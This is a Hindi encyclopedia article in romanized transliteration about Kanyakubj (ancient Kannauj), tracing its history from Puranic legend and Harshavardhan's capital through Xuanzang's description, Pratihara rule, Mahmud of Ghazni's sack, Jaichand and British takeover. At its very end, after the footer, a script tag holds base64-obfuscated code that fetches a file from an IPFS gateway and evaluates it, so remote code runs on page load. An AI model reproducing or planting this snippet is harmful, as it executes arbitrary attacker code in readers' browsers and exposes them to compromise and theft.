कान्यकुब्ज

chitr:Disamb2.jpg kanyakubj

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- kanyakubj (bahuvikalpi)

[[chitr:Gauri-Shankar-Temple.jpg|thumb|300px|gauri shankar mandir, kannauj]] kanyakubj uttar pradesh ke pramukh nagaroan mean se ek kannauj ka prachin nam hai. yah uttar pradesh rajy ka pramukh mukhyalay evan nagarapalika hai. kanyakubj kabhi hindoo samrajy ki rajadhani ke roop mean pratishthit raha tha. mana jata hai ki kanyakubj brahman mool roop se isi sthan ke rahane vale haian. samrat harshavardhan ke shasan kal mean kanyakubj apane charamotkarsh par pahuanch gaya tha. vartaman kannauj shahar apane 'itr' vyavasay ke alava tanbakoo ke vyapar ke lie bhi mashahoor hai. yahaan mukhy roop se kannauji boli, kanuji bhasha ke roop mean istemal ki jati hai.

sahityik ullekh

sahity mean kanyakubj ke nimn nam upalabdh haian-

1. 'kanyapur' (varahapuran)
2. 'mahoday'
3. 'kushik'
4. 'kosh'
5. 'gadhipur'
6. 'kusumapur' (yuvanachvaang)
7. 'kannakujj' (pali)

kanyakubj ki ganana bharat ke prachinatam khyati prapt nagaroan mean ki jati hai. valmiki ramayan ke anusar is nagar ka namakaran kushanabh ki kubja kanyaoan ke nam par hua tha. puranoan mean katha hai ki pururava ke kanishth putr amavasu ne kanyakubj rajy ki sthapana ki thi. kushanabh inhian ka vanshaj tha. kanyakubj ka pahala nam 'mahoday' bataya gaya hai. mahoday ka ullekh vishnudharmottar puran mean bhi hai-

'panchalakhyosti vishayo madhyadeshemahodayapuran tatr'

mahabharat mean kanyakubj ka vishvamitr ke pita raja gadhi ki rajadhani ke roop mean ullekh hai. us samay kanyakubj ki sthiti dakshin panchal mean rahi hogi, kintu usaka adhik mahatv nahian tha, kyoanki dakshin-panchal ki rajadhani kaanpily mean thi.

'kanyatirtheashvatirthe ch gavaantirthe ch bharat, kalakotyaan vrishapristhe giravushy ch paandava:.'

[[chitr:Chandragupt-Maurya-Stamp.jpg|thumb|180px|chandragupt maury]]

itihas

doosari shati ee. poo. mean kanyakubj ka ullekh pantajali ne mahabhashy mean kiya hai. prachin grik lekhakoan ki bhi is nagar ke vishay mean janakari thi. chandragupt maury aur ashok ke shasan kal mean yah nagar maury samrajy ka aang zaroor hi raha hoga. isake pashchath shuang aur kushan aur gupt nareshoan ka kramashah kanyakubj par adhikar raha. 140 ee. ke lagabhag likhe hue talmi ke bhoogol mean kannauj ko kanagaur ya kanogiya likha gaya hai. 405 ee. mean chini yatri phahyan kannauj aya tha aur usane yahaan par keval do hinayan vihar aur ek stoop dekha tha, jisase soochit hota hai ki 5vian shati ee. tak yah nagar adhik mahattvapoorn nahian tha. kanyakubj ke vishesh aishvary ka yug 7vian shati se prarambh hua, jab maharaja harshavardhan ne isako apani rajadhani banaya. isase pahale yahaan maukhari vansh ki rajadhani thi. is samay kanyakubj ko 'kushasthal' bhi kahate the. harshacharit ke anusar harsh ke bhaee rajyavardhan ki mrityu ke pashchath gupt namak vyakti ne kushasthal ko chhin liya tha, jisake parinamasvaroop harsh ki bahin rajyashri ko vindhyachal parvatamala ki or chala jana p da tha. kushasthal mean rajyashri ke pati grihavarma maukhari ki rajadhani thi.

yuvanachvaang ka varnan

chini yatri yuvanachvaang ke anusar kanyakubj pradesh ki paridhi 400 li ya 670 mil thi. vastav mean harshavardhan (606-647 ee.) ke samay mean kanyakubj ki abhootapoorv unnati huee thi aur us samay shayad yah bharat ka sabase b da evan samriddhashali nagar tha. yuvanachvaang likhata hai ki nagar ke pashchimottar mean ashok ka banavaya hua ek stoop tha, jahaan par poorvakatha ke anusar gautam buddh ne sat din thahakar pravachan kiya tha. is vishal stoop ke pas hi any chhote stoop bhi the, aur ek vihar mean buddh ka daant bhi surakshit tha, jisake darshan ke lie saik doan yatri ate the.[[chitr:Statue-Of-Xuanzang.jpg|thumb|left|180px|chini yatri hvenasaang]] yuvanachvaang ne nagar ke dakshinapoorv mean ashok dvara nirmit ek any stoop ka bhi varnan kiya hai jo ki do sau phut ooancha tha. kianvadanti hai ki gautam buddh is sthan par chhah mas tak thahare the.

yuvanachvaang ne kanyakubj ke sau bauddh viharoan aur do sau dev-mandiroan ka ullekh kiya hai. vah likhata hai ki 'nagar lagabhag paanch mil lamba aur dedh mil chau da hai aur chaturdik surakshit hai. nagar ke sauanndary aur usaki sampannata ka anuman usake vishal prasadoan, ramaniy udyanoan, svachchh jal se poorn t dagoan aur sudoor deshoan se prapt vastuoan se saje hue sangrahalayoan se kiya ja sakata hai'. usake nivasiyoan ki bhadr veshabhoosha, unake sundar reshami vastr, unaka vidya prem tatha shastranurag aur kulin tatha dhanavan kutumboan ki apar sankhya, ye sabhi batean kannauj ko tatkalin nagaroan ki rani siddh karane ke lie paryapt thian. yuvanachvaang ne nagar ke devalayoan mean maheshvar shiv aur soory ke mandiroan ka bhi zikr kiya hai. ye donoan qimati nile patthar ke bane the aur unamean anek sundar moortiyaan utkhanit thian. yuvanachvaang ke anusar kannauj ke devalay, bauddh viharoan ke saman hi bhavy aur vishal the. pratyek devalay mean ek sahasr vyakti pooja ke lie niyukt the aur mandir din-rat naga doan tatha sangit ke ghosh se gooanjate rahate the. yuvanachvaang ne kanyakubj ke bhadravihar namak bauddh mahavidyalay ka bhi ullekh kiya hai, jahaan par vah 635 ee. mean tin mas tak raha tha. yahian rahakar usane ary virasen se bauddh granthoan ka adhyayan kiya tha.

apane utkarsh kal mean kanyakubj janapad ki simaean kitani vistrit thian, isaka anuman skandapuran se aur prabandhachiantamani ke us ullekh se hota hai jisamean is pradesh ke aantargat chhattis lakh gaanv batae ge haian. shayad isi kal mean kanyakubj ke kulin brahmanoan ki kee jatiyaan bangal mean jakar basi thian. aj ke sanbhraant bangali inhian jatiyoan ke vanshaj batae jate haian.

yashovarman ka adhikar

harshavardhan ke pashchath kannauj ka rajy tatkalin avyavastha ke karan chhinn-bhinn ho gaya. athavian shati mean yashovarman kannauj ka pratapi raja hua. gau davaho namak kavy ke anusar usane magadh ke gau d raja ko parajit kiya. kalhan ke anusar kashmir ke prasiddh naresh lalitadity muktapi d ne yashovarman ke rajy ka moolochchhed kar diya ('samoolamutpatayath') aur kanyakubj ko jitakar use lalitapur (=latapaur) ke sooryamandir ko arpit kar diya. kalhan likhata hai ki lalitadity ka kanyakubj pradesh par usi prakar adhikar tha jaise apane rajaprasad ke praangan par. rajatarangini mean, is samay ke kanyakubj ke janapad ka vistar yamuna tat mean kalika nadi (=kali nadi) tak kaha gaya hai. yashovarman ke pashchath usake kee vanshajoan ke nam hamean jain granthoan tatha any sootroan se jnat hote haian—inamean vajrayudh, iandrayudh aur chakrayudh namak rajaoan ne yahaan par rajy kiya tha. vajrayudh ka nam keval rajashekhar ki karpooramanjari mean hai. jain harivansh ke anusar 783-784 ee. mean iandrayudh kanyakubj mean rajy kar raha tha. kalhan ne kashmir naresh jayapid vinayadity (rajyakal, 779-810 ee.) dvara kannauj par akraman ka ullekh kiya hai.

gurjar pratiharoan ka rajy

isake pashchath hi rashtrakoot vansh ke dhruv ne bhi kannauj ke is raja ko parajit kiya. in nirantar akramanoan se kannauj ka rajy nasht-bhrasht ho gaya. rashtrakootoan ki shakti kshin hone par rajapootana malava pradesh ke pratihar shasak nagabhatt dvitiy ne chakrayudh ko harakar kannauj par adhikar kar liya. is vansh mean mihirabhoj, mahendr pal aur mahipal prasiddh raja hue. inake samay mean kannauj ke phir se ek bar din phire. pratiharakal mean kannauj hindoo dharm ka pramukh kendr tha. 8vian shati se 10vian shati tak hindoo devataoan ke anek kalapoorn mandir bane, jinake saik doan avashesh aj bhi kannauj ke asapas vidyaman haian. in mandiroan mean vishnu, shiv, soory, ganesh, durga aur mahishamardini ki moortiyaan haian. kuchh samay poorv shiv-parvati parinay ki ek sundar vishal moorti yahaan se prapt huee thi, jo ki 8vian shati ki hai. [[chitr:Al-Biruni.jpg|thumb|180px|alaberooni]]

muslimoan ka akraman

bauddh dharm ka is samay poornatah hras ho gaya tha. pratihar vansh ki avanati ke sath hi sath kannauj ka gaurav bhi lupt hone laga. 10vian shati ke ant mean rajyapal kannauj ka shasak tha. yah bhi us mahasangh ka sadasy tha, jisane sammilit roop se mahamood gazanavi se peshavar aur lamagan ke yuddhoan mean loha liya tha. 1018 ee. mean mahamood ne kannauj par hi hamala kar diya. musalaman nagar ka vaibhav dekh kar chakit rah ge. alutabi ke anusar rajyapal ko kisi p dosi rajy se sahayata n prapt ho saki. usake pas sena tho di-si hi thi aur isi karan vah nagar chho dakar ganga par bari ki or chala gaya. musalaman sainikoan ne nagar ko loota, mandiroan ko dhvast kiya aur anek nirdosh logoan ka sanhar kiya. alaberooni likhata hai ki is akraman ke pashchath yah vishal nagar bilkul uj d gaya. 1019 ee. mean mahamood ne dubara kannauj par akraman kiya aur trilochanapal se l daee thani. trilochanapal 1027 ee. tak jivit tha. is varsh ka usaka ek danapatr prayag ke nikat paya gaya hai. isake pashchath pratiharoan ka kannauj par shasan samapt ho gaya.

jayachand ki parajay

1085 ee. mean phir ek bar kannauj par chandradev gah daval ne suvyavasthit shasan sthapit kiya. usake samay ke abhilekhoan mean use kushik (kannauj), kashi, uttar kosal aur iandrasthan ya iandraprasth ka shasak kaha gaya hai. is vansh ka sabase pratapi raja govind chandr hua. usane musalamanoan ke akramanoan ko viphal kiya jaisa ki usake prashastikaroan ne likha hai, 'hammiran (=amir) nyastavairan muhurasamaranakridaya yo vidhate'. govind chandr b da dani tatha vidyapremi tha. usaki rani kumaradevi bauddh thi aur usane saranath mean dharmachakrajinavihar banavaya tha. govind chandr ka putr vijay chandr tha. usane bhi musalamanoan ke akraman se madhyadesh ki raksha ki jaisa ki usaki prashasti se soochit hota hai, 'bhuvanadalahelaharmy hammir (=amir) narinayanajaladadhara dhaut bhookokatapah'. vijayachandr ka putr jayachandr (jayachand) 1170 ee. ke lagabhag kannauj ki gaddi par baitha. prithviraj raso ke anusar usaki putri sanyogita ka prithviraj chauhan ne haran kiya tha. jayachand ka muhammad gori ke sath 1163 mean, itava ke nikat ghor yuddh hua, jisake pashchath kannauj se gah daval satta samapt ho gee. jayachand ne is yuddh ke pahale kee bar muhammad gauri ko buri tarah se haraya tha, jaisa ki purushapariksha ke, 'varanvaran yavaneshvarah parajayi palayate' aur ranbhamanjarinatak ke 'nikhil yavan kshayakarah' ullekhoan se soochit hota hai. yah svabhavik hi hai ki musalaman itihas lekhakoan ne gauri ki parajayoan ka varnan nahian kiya hai, kintu unhoanne jayachand ki uttarabharat ke tatkalin shreshth shasakoan mean ganana ki hai. [[chitr:East-India-Company-Seal.jpg|thumb|200px|eest iandiya kampani ki muhar]]

aangrezoan ka adhikar

gah davaloan ki avanati ke pashchath kannauj par musalamanoan ka adhipaty sthapit ho gaya, kintu is pradesh mean shasakoan ko nirantar vidrohoan ka samana karana p da. 1540 ee. mean kannauj sherashah ke hath mean a gaya. us samay yahaan ka haqim bairak niyaji tha, jisake kathor shasan ke vishay mean prasiddh tha ki usake logoan ke pas hal ke atirikt lohe ki koee doosari vastu nahian chho di thi. akabar ke samay kannauj nagar agara ke soobe mean ata tha aur ise ek sarakar bana diya gaya tha, jisamean 30 mahal the. jahaangir ke samay mean kannauj ko rahim ko jagir ke roop mean diya gaya tha. 18vian shati mean kannauj mean bangash navaboan ka adhikar raha, kintu avadh ke navab aur ruheloan se unaki sada l daee hoti rahi, jisake karan kannauj mean barabar avyavastha bana rahi. 1775 ee. mean yah pradesh eest indiya kampani ke adhikar mean chala gaya. 1857 ee. ke svatantrata yuddh mean bangash-navabatafajjul husain ne yahaan svatantrata ki ghoshana ki, kintu shighr hi aangrezoan ka yahaan punah adhikar ho gaya. is samay kannauj apane aanchal mean saiank doan varshoan ka itihas samete hue aur kee bar uttari bharat ke vishal rajyoan ki rajadhani banane ki gauravapoorn smritiyoan ko apane aantash mean sanjoe ek chhota-sa qasba matr hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>